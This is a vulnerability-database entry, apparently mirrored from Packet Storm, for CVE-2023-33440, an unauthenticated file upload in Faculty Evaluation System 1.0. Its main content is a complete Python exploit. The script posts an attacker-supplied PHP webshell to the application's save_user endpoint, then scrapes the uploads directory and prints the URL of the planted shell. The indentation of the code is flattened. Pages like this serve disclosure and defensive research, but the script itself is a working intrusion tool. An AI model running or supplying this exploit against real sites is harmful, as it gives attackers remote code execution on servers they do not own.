Lucene search
K

Faculty Evaluation System 1.0 Shell Upload

🗓️ 01 Jun 2023 00:00:00Reported by Alex GanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 446 Views

Unauthenticated file upload in Faculty Evaluation System 1.0 via shell upload

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Faculty Evaluation System 1.0 - Unauthenticated File Upload Exploit
31 May 202300:00
zdt
ATTACKERKB
CVE-2023-33440
26 May 202316:15
attackerkb
Circl
CVE-2023-33440
31 May 202300:00
circl
CNNVD
Faculty Evaluation System 安全漏洞
26 May 202300:00
cnnvd
CVE
CVE-2023-33440
26 May 202300:00
cve
Cvelist
CVE-2023-33440
26 May 202300:00
cvelist
Exploit DB
Faculty Evaluation System 1.0 - Unauthenticated File Upload
31 May 202300:00
exploitdb
Nuclei
Faculty Evaluation System v1.0 - Remote Code Execution
1 Jun 202605:38
nuclei
NVD
CVE-2023-33440
26 May 202316:15
nvd
OSV
CVE-2023-33440
26 May 202316:15
osv
Rows per page
`# Exploit Title: Faculty Evaluation System 1.0 - Unauthenticated File Upload  
# Date: 5/29/2023  
# Author: Alex Gan  
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip  
# Version: 1.0  
# Tested on: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6  
# CVE: CVE-2023-33440  
# References: https://nvd.nist.gov/vuln/detail/CVE-2023-33440  
# https://www.exploit-db.com/exploits/49320  
# https://github.com/F14me7wq/bug_report/tree/main/vendors/oretnom23/faculty-evaluation-system  
#   
#!/usr/bin/env python3  
import os  
import sys  
import requests  
import argparse  
from bs4 import BeautifulSoup  
from urllib.parse import urlparse  
from requests.exceptions import ConnectionError, Timeout  
  
def get_args():  
parser = argparse.ArgumentParser()  
parser.add_argument('-u', '--url', type=str, help='URL')  
parser.add_argument('-p', '--payload', type=str, help='PHP webshell')  
return parser.parse_args()  
  
def get_user_input(args):  
if not (args.url):  
args.url = input('Use the -u argument or Enter URL:')  
if not (args.payload):  
args.payload = input('Use the -p argument or Enter file path PHP webshell: ')  
return args.url, args.payload  
  
def check_input_url(url):  
parsed_url = urlparse(url)  
if not parsed_url.scheme:  
url = 'http://' + url  
if parsed_url.path.endswith('/'):  
url = url.rstrip('/')  
return url  
  
def check_host_availability(url):  
try:  
response = requests.head(url=url + '/login.php')  
if response.status_code == 200:  
print("[+] Host is accessible")  
else:  
print("[-] Host is not accessible")  
print(" Status code:", response.status_code)  
sys.exit()  
except (ConnectionError, Timeout) as e:  
print("[-] Host is not accessible")  
sys.exit()  
except requests.exceptions.RequestException as e:  
print("[-] Error:", e)  
sys.exit()  
  
def make_request(url, method, files=None):  
if method == 'GET':  
response = requests.get(url)  
elif method == 'POST':  
response = requests.post(url, files=files)  
else:  
raise ValueError(f'Invalid HTTP method: {method}')  
  
if response.status_code == 200:  
print('[+] Request successful')  
return response.text  
else:  
print(f'[-] Error {response.status_code}: {response.text}')  
return None  
  
def find_file(response_get, filename, find_url):  
soup = BeautifulSoup(response_get, 'html.parser')  
  
links = soup.find_all('a')  
found_files = []  
  
for link in links:  
file_upl = link.get('href')  
if file_upl.endswith(filename):  
found_files.append(file_upl)  
  
if found_files:  
print(' File found:')  
for file in found_files:  
print('[*] ' + file)  
  
print(' Full URL of your file:')  
for file_url in found_files:  
print('[*] ' + find_url + file_url)  
else:  
print('[-] File not found')  
  
def main():  
args = get_args()  
url, payload = get_user_input(args)  
url = check_input_url(url)  
check_host_availability(url)  
  
post_url = url + "/ajax.php?action=save_user"  
get_url = url + "/assets/uploads/"  
filename = os.path.basename(payload)  
payload_file = [('img',(filename,open(args.payload,'rb'),'application/octet-stream'))]  
  
print(" Loading payload file")  
make_request(post_url, 'POST', files=payload_file)  
print(" Listing the uploads directory")  
response_get = make_request(get_url, 'GET')  
print(" Finding the downloaded payload file")  
find_file(response_get, filename, get_url)  
  
if __name__ == "__main__":  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jun 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.2
EPSS0.90444
SSVC
446